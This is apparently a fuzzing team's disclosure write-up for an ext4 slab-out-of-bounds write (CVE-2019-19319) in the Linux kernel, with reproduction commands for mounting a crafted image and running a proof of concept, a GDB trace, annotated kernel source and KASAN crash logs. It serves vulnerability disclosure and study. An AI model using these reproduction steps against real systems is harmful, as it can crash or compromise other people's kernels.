Linux Kernel Ext4 FileSystem
Linux Version | Availablity |
---|---|
5.0.21 | True |
5.3.11 | False |
5.4.0 | mount fail |
slab-out-of-bounds
setxattr operation(after mount crafted image) can cause slab-out-of-bound write vulnerability
gcc -o poc poc_2019_19319.c
mkdir mnt
mount poc_2019_19319.img ./mnt
cp poc ./mnt/
cd mnt
./poc
─────────────────────────────────────────────────────────── registers ────
$rax : 0xffff8880684ebbdc → 0x68026258ffff8880 → 0x68026258ffff8880
$rbx : 0xffff8880674ebbd8 → 0x74737973565dbd3e → 0x74737973565dbd3e
$rcx : 0xffffffff81a28fa8 → 0x48f6311824548b48 → 0x48f6311824548b48
$rdx : 0x0000000001000004 → 0x0000000001000004
$rsp : 0xffff88806a25f0a8 → 0xffff88806a25f250 → 0x0000000000000000 → 0x0000000000000000
$rbp : 0xffff88806a25f6b8 → 0xffff8880674eb820 → 0x0000000003d80108 → 0x0000000003d80108
$rsi : 0x0000000000000000 → 0x0000000000000000
$rdi : 0xffff8880674ebbd8 → 0x74737973565dbd3e → 0x74737973565dbd3e
$rip : 0xffffffff81a28fb2 → 0x448b48ffc3fcd9e8 → 0x448b48ffc3fcd9e8
$r8 : 0x0000000000000001 → 0x0000000000000001
$r9 : 0x0000000000000000 → 0x0000000000000000
$r10 : 0x0000000000000000 → 0x0000000000000000
$r11 : 0x0000000000000000 → 0x0000000000000000
$r12 : 0x00000000000003d8 → 0x00000000000003d8
$r13 : 0xdffffc0000000000 → 0xdffffc0000000000
$r14 : 0xffff88806a25f800 → 0xffff88806a25fbdd → 0x584d394e64685964 → 0x584d394e64685964
$r15 : 0xffff8880674eb820 → 0x0000000003d80108 → 0x0000000003d80108
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflowresume virtualx86 identification]
$cs: 0x0010 $ss: 0x0018 $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────── stack ────
0xffff88806a25f0a8│+0x0000: 0xffff88806a25f250 → 0x0000000000000000 →0x0000000000000000 ← $rsp
0xffff88806a25f0b0│+0x0008: 0xffff88806a25f210 → 0x0000000000000000 →0x0000000000000000
0xffff88806a25f0b8│+0x0010: 0xffffffff00000000 → 0xffffffff00000000
0xffff88806a25f0c0│+0x0018: 0x0000000001000004 → 0x0000000001000004
0xffff88806a25f0c8│+0x0020: 0x0000000000000040 → 0x0000000000000040
0xffff88806a25f0d0│+0x0028: 0xffff8880663b03d8 → 0xffff8880663b03d0 →0xffff8880663b03d0 → [loop detected]
0xffff88806a25f0d8│+0x0030: 0x1ffff1100d44be36 → 0x1ffff1100d44be36
0xffff88806a25f0e0│+0x0038: 0x0000000141b58ab3 → 0x0000000141b58ab3
───────────────────────────────────────────────────────── code:x86:64 ────
0xffffffff81a28fa8 <ext4_xattr_set_entry+7000> mov rdx, QWORD PTR [rsp+0x18]
0xffffffff81a28fad <ext4_xattr_set_entry+7005> xor esi, esi
0xffffffff81a28faf <ext4_xattr_set_entry+7007> mov rdi, rbx
→ 0xffffffff81a28fb2 <ext4_xattr_set_entry+7010> call 0xffffffff81668c90 <memset>
↳ 0xffffffff81668c90 <memset+0> push r12
0xffffffff81668c92 <memset+2> push rbp
0xffffffff81668c93 <memset+3> mov rbp, rdx
0xffffffff81668c96 <memset+6> push rbx
0xffffffff81668c97 <memset+7> mov rcx, QWORD PTR [rsp+0x18]
0xffffffff81668c9c <memset+12> mov rbx, rdi
─────────────────────────────────────────────────────────── arguments ────
memset (
QWORD var_0 = 0xffff8880674ebbd8 → 0x74737973565dbd3e → 0x74737973565dbd3e,
int var_1 = 0x0000000000000000 → 0x0000000000000000,
size_t var_2 = 0x0000000001000004 → 0x0000000001000004
)
───────────────────────────────────────── source:fs/ext4/xattr.c+1706 ────
1701 void *first_val = s->base + min_offs;
1702 size_t offs = le16_to_cpu(here->e_value_offs);
1703 void *val = s->base + offs;
1704
1705 memmove(first_val + old_size, first_val, val - first_val);
→ 1706 memset(first_val, 0, old_size);
1707 min_offs += old_size;
1708
1709 /* Adjust all value offsets. */
1710 last = s->first;
1711 while (!IS_LAST_ENTRY(last)) {
───────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "", stopped, reason: BREAKPOINT
[#1] Id 2, Name: "", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────── trace ────
[#0] 0xffffffff81a28fb2 → ext4_xattr_set_entry(i=0xffff88806a25f800, s=0xffff88806a25f6b8, handle=<optimized out>, inode=<optimized out>, is_block=<optimized out>)
[#1] 0xffffffff81a2b42a → ext4_xattr_block_set(handle=<optimized out>, inode=<optimized out>, i=0xffff88806a25f800, bs=<optimized out>)
[#2] 0xffffffff81a3268f → ext4_xattr_set_handle(handle=<optimized out>, inode=0xffff8880663bea90, name_index=<optimized out>, name=<optimized out>,value=<optimized out>, value_len=<optimized out>, flags=<optimized out>)
[#3] 0xffffffff81a333e9 → ext4_xattr_set(inode=0xffff8880674ebbd8, name_index=<optimized out>, name=<optimized out>, value=<optimized out>, value_len=<optimized out>, flags=<optimized out>)
[#4] 0xffffffff8172502f → __vfs_setxattr(dentry=0xffff8880662bc500, inode=0xffff8880663bea90, name=0xffff88806a25fbdd "dYhdN9MX", value=0xffff88806c4f4180, size=0x3f, flags=0x2)
[#5] 0xffffffff81727761 → __vfs_setxattr_noperm(dentry=0xffff8880674ebbd8, name=0x0 <irq_stack_union>, value=<optimized out>, size=<optimized out>,flags=0x1)
[#6] 0xffffffff81727aad → vfs_setxattr(dentry=0xffff8880662bc500, name=0xffff88806a25fbd8 "user.dYhdN9MX", value=0xffff88806c4f4180, size=0x3f, flags=0x2)
[#7] 0xffffffff81727d13 → setxattr(d=0xffff8880662bc500, name=<optimized out>, value=<optimized out>, size=0x3f, flags=0x2)
[#8] 0xffffffff81727f36 → path_setxattr(pathname=0x7ffc27602615 "foo/z5NkeKcl", name=<optimized out>, value=<optimized out>, size=<optimized out>, flags=<optimized out>, lookup_flags=0x1)
[#9] 0xffffffff8172803b → __do_sys_setxattr(flags=<optimized out>, size=<optimized out>, value=<optimized out>, name=<optimized out>, pathname=<optimized out>)
──────────────────────────────────────────────────────────────────────────
Thread 2 hit Breakpoint 1, 0xffffffff81a28fb2 in ext4_xattr_set_entry (i=0xffff88806a25f800, s=0xffff88806a25f6b8, handle=<optimized out>, inode=<optimized out>, is_block=<optimized out>) at fs/ext4/xattr.c:1706
1706 memset(first_val, 0, old_size);
gef➤
local variable old_size
appears 0x1000004
fs/ext4/xattr.c:1706 (link)
static int ext4_xattr_set_entry(struct ext4_xattr_info *i,
struct ext4_xattr_search *s,
handle_t *handle, struct inode *inode,
bool is_block)
{
struct ext4_xattr_entry *last, *next;
struct ext4_xattr_entry *here = s->here;
size_t min_offs = s->end - s->base, name_len = strlen(i->name);
int in_inode = i->in_inode;
struct inode *old_ea_inode = NULL;
struct inode *new_ea_inode = NULL;
size_t old_size, new_size;
int ret;
/* Space used by old and new values. */
old_size = (!s->not_found && !here->e_value_inum) ?
[1] EXT4_XATTR_SIZE(le32_to_cpu(here->e_value_size)) : 0;
new_size = (i->value && !in_inode) ? EXT4_XATTR_SIZE(i->value_len) : 0;
/*
* Optimization for the simple case when old and new values have the
* same padded sizes. Not applicable if external inodes are involved.
*/
if (new_size && new_size == old_size) {
size_t offs = le16_to_cpu(here->e_value_offs);
void *val = s->base + offs;
here->e_value_size = cpu_to_le32(i->value_len);
if (i->value == EXT4_ZERO_XATTR_VALUE) {
memset(val, 0, new_size);
} else {
memcpy(val, i->value, i->value_len);
/* Clear padding bytes. */
memset(val + i->value_len, 0, new_size - i->value_len);
}
goto update_hash;
}
/* Compute min_offs and last. */
last = s->first;
for (; !IS_LAST_ENTRY(last); last = next) {
next = EXT4_XATTR_NEXT(last);
if ((void *)next >= s->end) {
EXT4_ERROR_INODE(inode, "corrupted xattr entries");
ret = -EFSCORRUPTED;
goto out;
}
if (!last->e_value_inum && last->e_value_size) {
size_t offs = le16_to_cpu(last->e_value_offs);
if (offs < min_offs)
min_offs = offs;
}
}
/* Check whether we have enough space. */
if (i->value) {
size_t free;
free = min_offs - ((void *)last - s->base) - sizeof(__u32);
if (!s->not_found)
free += EXT4_XATTR_LEN(name_len) + old_size;
if (free < EXT4_XATTR_LEN(name_len) + new_size) {
ret = -ENOSPC;
goto out;
}
/*
* If storing the value in an external inode is an option,
* reserve space for xattr entries/names in the external
* attribute block so that a long value does not occupy the
* whole space and prevent futher entries being added.
*/
if (ext4_has_feature_ea_inode(inode->i_sb) &&
new_size && is_block &&
(min_offs + old_size - new_size) <
EXT4_XATTR_BLOCK_RESERVE(inode)) {
ret = -ENOSPC;
goto out;
}
}
/*
* Getting access to old and new ea inodes is subject to failures.
* Finish that work before doing any modifications to the xattr data.
*/
if (!s->not_found && here->e_value_inum) {
ret = ext4_xattr_inode_iget(inode,
le32_to_cpu(here->e_value_inum),
le32_to_cpu(here->e_hash),
&old_ea_inode);
if (ret) {
old_ea_inode = NULL;
goto out;
}
}
if (i->value && in_inode) {
WARN_ON_ONCE(!i->value_len);
ret = ext4_xattr_inode_alloc_quota(inode, i->value_len);
if (ret)
goto out;
ret = ext4_xattr_inode_lookup_create(handle, inode, i->value,
i->value_len,
&new_ea_inode);
if (ret) {
new_ea_inode = NULL;
ext4_xattr_inode_free_quota(inode, NULL, i->value_len);
goto out;
}
}
if (old_ea_inode) {
/* We are ready to release ref count on the old_ea_inode. */
ret = ext4_xattr_inode_dec_ref(handle, old_ea_inode);
if (ret) {
/* Release newly required ref count on new_ea_inode. */
if (new_ea_inode) {
int err;
err = ext4_xattr_inode_dec_ref(handle,
new_ea_inode);
if (err)
ext4_warning_inode(new_ea_inode,
"dec ref new_ea_inode err=%d",
err);
ext4_xattr_inode_free_quota(inode, new_ea_inode,
i->value_len);
}
goto out;
}
ext4_xattr_inode_free_quota(inode, old_ea_inode,
le32_to_cpu(here->e_value_size));
}
/* No failures allowed past this point. */
if (!s->not_found && here->e_value_size && !here->e_value_inum) {
/* Remove the old value. */
void *first_val = s->base + min_offs;
size_t offs = le16_to_cpu(here->e_value_offs);
void *val = s->base + offs;
memmove(first_val + old_size, first_val, val - first_val);
[2] memset(first_val, 0, old_size);
min_offs += old_size;
...
in [1], set old_size
to huge value, and call memset
with old_size
[ 610.867441] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null)
[ 611.627638] cp (1969) used greatest stack depth: 47912 bytes left
[ 611.826655] ==================================================================
[ 611.827411] BUG: KASAN: use-after-free in ext4_xattr_set_entry+0x1b67/0x3550
[ 611.827411] Write of size 16777220 at addr ffff888069becbd8 by task poc/1971
[ 611.827411]
[ 611.827411] CPU: 1 PID: 1971 Comm: poc Not tainted 5.0.21 #1
[ 611.827411] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 611.827411] Call Trace:
[ 611.827411] dump_stack+0xae/0x14b
[ 611.827411] ? show_regs_print_info+0x5/0x5
[ 611.827411] ? kmsg_dump_rewind_nolock+0xd4/0xd4
[ 611.827411] ? _raw_spin_lock_irqsave+0x9f/0x130
[ 611.827411] ? _raw_write_lock_irqsave+0x130/0x130
[ 611.827411] ? ext4_xattr_set_entry+0x1b67/0x3550
[ 611.827411] print_address_description+0x6e/0x280
[ 611.827411] ? ext4_xattr_set_entry+0x1b67/0x3550
[ 611.827411] ? ext4_xattr_set_entry+0x1b67/0x3550
[ 611.827411] kasan_report+0x149/0x18d
[ 611.827411] ? ext4_xattr_block_set+0x7e1/0x3a00
[ 611.827411] ? ext4_xattr_set_entry+0x1b67/0x3550
[ 611.827411] memset+0x1f/0x40
[ 611.827411] ext4_xattr_set_entry+0x1b67/0x3550
[ 611.827411] ? rcu_is_watching+0x7d/0x130
[ 611.827411] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 611.827411] ? rcu_barrier_trace+0x260/0x260
[ 611.827411] ? add_transaction_credits+0x1c7/0xd50
[ 611.827411] ? ext4_xattr_inode_get+0x8e0/0x8e0
[ 611.827411] ? __kernel_text_address+0x9/0x30
[ 611.827411] ? _raw_spin_lock+0x99/0x130
[ 611.827411] ? __kasan_slab_free+0x143/0x180
[ 611.827411] ? kmem_cache_free+0x70/0x1a0
[ 611.827411] ? mb_cache_entry_delete+0x4f3/0x820
[ 611.827411] ? __mb_cache_entry_free+0x10/0x10
[ 611.827411] ? __find_get_block+0x1a3/0xaf0
[ 611.827411] ? __find_get_block+0x1a3/0xaf0
[ 611.827411] ? __find_get_block+0x1a3/0xaf0
[ 611.827411] ? __jbd2_journal_temp_unlink_buffer+0x530/0x530
[ 611.827411] ? try_to_free_buffers+0x4d0/0x4d0
[ 611.827411] ? rcu_qs+0x2f0/0x2f0
[ 611.827411] ? jbd2_journal_get_write_access+0x3d/0x80
[ 611.827411] ext4_xattr_block_set+0x80a/0x3a00
[ 611.827411] ? __getblk_gfp+0xb0/0x8b0
[ 611.827411] ? _cond_resched+0x12/0x60
[ 611.827411] ? __getblk_gfp+0xb0/0x8b0
[ 611.827411] ? ext4_xattr_ibody_set+0x280/0x280
[ 611.827411] ? __find_get_block+0xaf0/0xaf0
[ 611.827411] ? save_stack+0x89/0xb0
[ 611.827411] ? kmem_cache_alloc+0xa7/0x170
[ 611.827411] ? jbd2__journal_start+0x192/0x860
[ 611.827411] ? __ext4_journal_start_sb+0x103/0x330
[ 611.827411] ? ext4_xattr_set+0x187/0x330
[ 611.827411] ? __vfs_setxattr+0x7f/0xb0
[ 611.827411] ? __vfs_setxattr_noperm+0xe1/0x370
[ 611.827411] ? vfs_setxattr+0xbd/0xd0
[ 611.827411] ? path_setxattr+0x156/0x1a0
[ 611.827411] ? __x64_sys_setxattr+0xbb/0x150
[ 611.827411] ? do_syscall_64+0x12b/0x440
[ 611.827411] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 611.827411] ? __ext4_get_inode_loc+0x368/0xe20
[ 611.827411] ? ext4_sb_bread+0xa9/0x2b0
[ 611.827411] ? xattr_find_entry+0x11b/0x1e0
[ 611.827411] ? ext4_xattr_block_find.isra.22+0x2fc/0x670
[ 611.827411] ext4_xattr_set_handle+0xe5f/0x18a0
[ 611.827411] ? ext4_xattr_ibody_inline_set+0x280/0x280
[ 611.827411] ? kmem_cache_alloc+0xa7/0x170
[ 611.827411] ? jbd2__journal_start+0x350/0x860
[ 611.827411] ? start_this_handle+0x12c0/0x12c0
[ 611.827411] ? ext4_journal_abort_handle.isra.6+0x260/0x260
[ 611.827411] ? ext4_xattr_get_block+0x6e/0x2f0
[ 611.827411] ext4_xattr_set+0x1b9/0x330
[ 611.827411] ? ext4_xattr_set_credits+0x160/0x160
[ 611.827411] ? selinux_secmark_enabled.part.15+0xd0/0xd0
[ 611.827411] __vfs_setxattr+0x7f/0xb0
[ 611.827411] ? down_write+0x5f/0x100
[ 611.827411] __vfs_setxattr_noperm+0xe1/0x370
[ 611.827411] vfs_setxattr+0xbd/0xd0
[ 611.827411] setxattr+0x253/0x320
[ 611.827411] ? vfs_setxattr+0xd0/0xd0
[ 611.827411] ? kmem_cache_free+0x70/0x1a0
[ 611.827411] ? filename_lookup+0x2ce/0x5b0
[ 611.827411] ? filename_parentat+0x770/0x770
[ 611.827411] ? d_move+0xf0/0xf0
[ 611.827411] ? mpi_resize+0x1d0/0x1d0
[ 611.827411] ? __kasan_kmalloc.constprop.4+0xa0/0xd0
[ 611.827411] ? may_umount_tree+0x270/0x270
[ 611.827411] path_setxattr+0x156/0x1a0
[ 611.827411] ? setxattr+0x320/0x320
[ 611.827411] ? do_sys_truncate+0xef/0x110
[ 611.827411] ? vfs_truncate+0x700/0x700
[ 611.827411] __x64_sys_setxattr+0xbb/0x150
[ 611.827411] ? __x64_sys_removexattr+0x50/0x70
[ 611.827411] do_syscall_64+0x12b/0x440
[ 611.827411] ? syscall_return_slowpath+0x2e0/0x2e0
[ 611.827411] ? __do_page_fault+0x970/0x970
[ 611.827411] ? prepare_exit_to_usermode+0x210/0x210
[ 611.827411] ? perf_trace_sys_enter+0x1050/0x1050
[ 611.827411] ? __x64_sys_sigaltstack+0x270/0x270
[ 611.827411] ? __put_user_4+0x1c/0x30
[ 611.827411] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 611.827411] RIP: 0033:0x44b7e9
[ 611.827411] Code: 00 b8 00 01 00 00 eb e1 e8 e4 19 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48
[ 611.827411] RSP: 002b:00007fff96b862e8 EFLAGS: 00000286 ORIG_RAX: 00000000000000bc
[ 611.827411] RAX: ffffffffffffffda RBX: 0000000000400400 RCX: 000000000044b7e9
[ 611.827411] RDX: 00007fff96b866b0 RSI: 00007fff96b86438 RDI: 00007fff96b863e5
[ 611.827411] RBP: 00007fff96b8aae0 R08: 0000000000000002 R09: 00007fff96b8ac08
[ 611.827411] R10: 000000000000003f R11: 0000000000000286 R12: 0000000000403160
[ 611.827411] R13: 0000000000000000 R14: 00000000006ba018 R15: 0000000000000000
[ 611.827411]
[ 611.827411] The buggy address belongs to the page:
[ 611.827411] page:ffffea0001a6fb00 count:2 mapcount:0 mapping:ffff88806a8c45f8 index:0x810
[ 611.827411] 0xffffffff844b0f40
[ 611.827411] flags: 0x100000000002032(referenced|lru|active|private)
[ 611.827411] raw: 0100000000002032 ffffea00018cc108 ffffea00018c8148 ffff88806a8c45f8
[ 611.827411] raw: 0000000000000810 ffff88806622cb28 00000002ffffffff 0000000000000000
[ 611.827411] page dumped because: kasan: bad access detected
[ 611.827411]
[ 611.827411] Memory state around the buggy address:
[ 611.827411] ffff888069becf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 611.827411] ffff888069becf80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 611.827411] >ffff888069bed000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 611.827411] ^
[ 611.827411] ffff888069bed080: fb fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc
[ 611.827411] ffff888069bed100: fc fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 611.827411] ==================================================================
[ 611.827411] Disabling lock debugging due to kernel taint
[ 611.872754] BUG: unable to handle kernel paging request at ffff888069c62000
[ 611.872754] #PF error: [PROT] [WRITE]
[ 611.872754] PGD 6401067 P4D 6401067 PUD 6404067 PMD 6978f063 PTE 8000000069c62161
[ 611.872754] Oops: 0003 [#1] SMP KASAN NOPTI
[ 611.872754] CPU: 1 PID: 1971 Comm: poc Tainted: G B 5.0.21 #1
[ 611.872754] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 611.872754] RIP: 0010:memset_orig+0x46/0xb0
[ 611.872754] Code: 75 70 48 89 d1 48 c1 e9 06 74 39 66 0f 1f 84 00 00 00 00 00 48 ff c9 48 89 07 48 89 47 08 48 89 47 10 48 89 47 18 48 89 47 20 <48> 89 47 28 48 89 47 30 48 89 47 38 48 8d 7f 40 75 d8 0f 1f 84 00
[ 611.872754] RSP: 0018:ffff88806c78f0a0 EFLAGS: 00000216
[ 611.872754] RAX: 0000000000000000 RBX: ffff888069becbd8 RCX: 000000000003e2af
[ 611.872754] RDX: 0000000001000004 RSI: 0000000000000000 RDI: ffff888069c61fd8
[ 611.872754] RBP: ffff88806c78f6b8 R08: ffffed100da2609b R09: 0000000000000000
[ 611.872754] R10: ffff888069becbd8 R11: ffffed100da2609a R12: 00000000000003d8
[ 611.872754] R13: dffffc0000000000 R14: ffff88806c78f800 R15: ffff888069bec820
[ 611.872754] FS: 00000000006be880(0000) GS:ffff88806d100000(0000) knlGS:0000000000000000
[ 611.872754] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 611.872754] CR2: ffff888069c62000 CR3: 00000000677b0000 CR4: 00000000000006e0
[ 611.872754] Call Trace:
[ 611.872754] ext4_xattr_set_entry+0x1b67/0x3550
[ 611.872754] ? rcu_is_watching+0x7d/0x130
[ 611.872754] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 611.872754] ? rcu_barrier_trace+0x260/0x260
[ 611.872754] ? add_transaction_credits+0x1c7/0xd50
[ 611.872754] ? ext4_xattr_inode_get+0x8e0/0x8e0
[ 611.872754] ? __kernel_text_address+0x9/0x30
[ 611.872754] ? _raw_spin_lock+0x99/0x130
[ 611.872754] ? __kasan_slab_free+0x143/0x180
[ 611.872754] ? kmem_cache_free+0x70/0x1a0
[ 611.872754] ? mb_cache_entry_delete+0x4f3/0x820
[ 611.872754] ? __mb_cache_entry_free+0x10/0x10
[ 611.872754] ? __find_get_block+0x1a3/0xaf0
[ 611.872754] ? __find_get_block+0x1a3/0xaf0
[ 611.872754] ? __find_get_block+0x1a3/0xaf0
[ 611.872754] ? __jbd2_journal_temp_unlink_buffer+0x530/0x530
[ 611.872754] ? try_to_free_buffers+0x4d0/0x4d0
[ 611.872754] ? rcu_qs+0x2f0/0x2f0
[ 611.872754] ? jbd2_journal_get_write_access+0x3d/0x80
[ 611.872754] ext4_xattr_block_set+0x80a/0x3a00
[ 611.872754] ? __getblk_gfp+0xb0/0x8b0
[ 611.872754] ? _cond_resched+0x12/0x60
[ 611.872754] ? __getblk_gfp+0xb0/0x8b0
[ 611.872754] ? ext4_xattr_ibody_set+0x280/0x280
[ 611.872754] ? __find_get_block+0xaf0/0xaf0
[ 611.872754] ? save_stack+0x89/0xb0
[ 611.872754] ? kmem_cache_alloc+0xa7/0x170
[ 611.872754] ? jbd2__journal_start+0x192/0x860
[ 611.872754] ? __ext4_journal_start_sb+0x103/0x330
[ 611.872754] ? ext4_xattr_set+0x187/0x330
[ 611.872754] ? __vfs_setxattr+0x7f/0xb0
[ 611.872754] ? __vfs_setxattr_noperm+0xe1/0x370
[ 611.872754] ? vfs_setxattr+0xbd/0xd0
[ 611.872754] ? path_setxattr+0x156/0x1a0
[ 611.872754] ? __x64_sys_setxattr+0xbb/0x150
[ 611.872754] ? do_syscall_64+0x12b/0x440
[ 611.872754] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 611.872754] ? __ext4_get_inode_loc+0x368/0xe20
[ 611.872754] ? ext4_sb_bread+0xa9/0x2b0
[ 611.872754] ? xattr_find_entry+0x11b/0x1e0
[ 611.872754] ? ext4_xattr_block_find.isra.22+0x2fc/0x670
[ 611.872754] ext4_xattr_set_handle+0xe5f/0x18a0
[ 611.872754] ? ext4_xattr_ibody_inline_set+0x280/0x280
[ 611.872754] ? kmem_cache_alloc+0xa7/0x170
[ 611.872754] ? jbd2__journal_start+0x350/0x860
[ 611.872754] ? start_this_handle+0x12c0/0x12c0
[ 611.872754] ? ext4_journal_abort_handle.isra.6+0x260/0x260
[ 611.872754] ? ext4_xattr_get_block+0x6e/0x2f0
[ 611.872754] ext4_xattr_set+0x1b9/0x330
[ 611.872754] ? ext4_xattr_set_credits+0x160/0x160
[ 611.872754] ? selinux_secmark_enabled.part.15+0xd0/0xd0
[ 611.872754] __vfs_setxattr+0x7f/0xb0
[ 611.872754] ? down_write+0x5f/0x100
[ 611.872754] __vfs_setxattr_noperm+0xe1/0x370
[ 611.872754] vfs_setxattr+0xbd/0xd0
[ 611.872754] setxattr+0x253/0x320
[ 611.872754] ? vfs_setxattr+0xd0/0xd0
[ 611.872754] ? kmem_cache_free+0x70/0x1a0
[ 611.872754] ? filename_lookup+0x2ce/0x5b0
[ 611.872754] ? filename_parentat+0x770/0x770
[ 611.872754] ? d_move+0xf0/0xf0
[ 611.872754] ? mpi_resize+0x1d0/0x1d0
[ 611.872754] ? __kasan_kmalloc.constprop.4+0xa0/0xd0
[ 611.872754] ? may_umount_tree+0x270/0x270
[ 611.872754] path_setxattr+0x156/0x1a0
[ 611.872754] ? setxattr+0x320/0x320
[ 611.872754] ? do_sys_truncate+0xef/0x110
[ 611.872754] ? vfs_truncate+0x700/0x700
[ 611.872754] __x64_sys_setxattr+0xbb/0x150
[ 611.872754] ? __x64_sys_removexattr+0x50/0x70
[ 611.872754] do_syscall_64+0x12b/0x440
[ 611.872754] ? syscall_return_slowpath+0x2e0/0x2e0
[ 611.872754] ? __do_page_fault+0x970/0x970
[ 611.872754] ? prepare_exit_to_usermode+0x210/0x210
[ 611.872754] ? perf_trace_sys_enter+0x1050/0x1050
[ 611.872754] ? __x64_sys_sigaltstack+0x270/0x270
[ 611.872754] ? __put_user_4+0x1c/0x30
[ 611.872754] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 611.872754] RIP: 0033:0x44b7e9
[ 611.872754] Code: 00 b8 00 01 00 00 eb e1 e8 e4 19 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48
[ 611.872754] RSP: 002b:00007fff96b862e8 EFLAGS: 00000286 ORIG_RAX: 00000000000000bc
[ 611.872754] RAX: ffffffffffffffda RBX: 0000000000400400 RCX: 000000000044b7e9
[ 611.872754] RDX: 00007fff96b866b0 RSI: 00007fff96b86438 RDI: 00007fff96b863e5
[ 611.872754] RBP: 00007fff96b8aae0 R08: 0000000000000002 R09: 00007fff96b8ac08
[ 611.872754] R10: 000000000000003f R11: 0000000000000286 R12: 0000000000403160
[ 611.872754] R13: 0000000000000000 R14: 00000000006ba018 R15: 0000000000000000
[ 611.872754] Modules linked in:
[ 611.872754] CR2: ffff888069c62000
[ 611.872754] ---[ end trace 1f7f1665adedcbc6 ]---
[ 611.872754] RIP: 0010:memset_orig+0x46/0xb0
[ 611.872754] Code: 75 70 48 89 d1 48 c1 e9 06 74 39 66 0f 1f 84 00 00 00 00 00 48 ff c9 48 89 07 48 89 47 08 48 89 47 10 48 89 47 18 48 89 47 20 <48> 89 47 28 48 89 47 30 48 89 47 38 48 8d 7f 40 75 d8 0f 1f 84 00
[ 611.872754] RSP: 0018:ffff88806c78f0a0 EFLAGS: 00000216
[ 611.872754] RAX: 0000000000000000 RBX: ffff888069becbd8 RCX: 000000000003e2af
[ 611.872754] RDX: 0000000001000004 RSI: 0000000000000000 RDI: ffff888069c61fd8
[ 611.872754] RBP: ffff88806c78f6b8 R08: ffffed100da2609b R09: 0000000000000000
[ 611.872754] R10: ffff888069becbd8 R11: ffffed100da2609a R12: 00000000000003d8
[ 611.872754] R13: dffffc0000000000 R14: ffff88806c78f800 R15: ffff888069bec820
[ 611.872754] FS: 00000000006be880(0000) GS:ffff88806d100000(0000) knlGS:0000000000000000
[ 611.872754] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 611.872754] CR2: ffff888069c62000 CR3: 00000000677b0000 CR4: 00000000000006e0
[ 611.930088] BUG: Bad rss-counter state mm:000000003787fc2f idx:0 val:297
[ 611.931634] BUG: Bad rss-counter state mm:000000003787fc2f idx:1 val:15
[ 611.931774] BUG: non-zero pgtables_bytes on freeing mm: 24576
Segmentation fault
some operation after mount crafted ext4 image can handle local variable old_size
, it can occur slab-out-of-bounds vulnerability.
it can be lead to rip handling by attacker
Team bobfuzzer
This Project used ported version(to 5.0.21 and 5.3.14 linux kernel) of filesystem fuzzer 'JANUS' which developed by GeorgiaTech Systems Software & Security Lab(SSLab)
Thank you for the excellent fuzzer and paper below.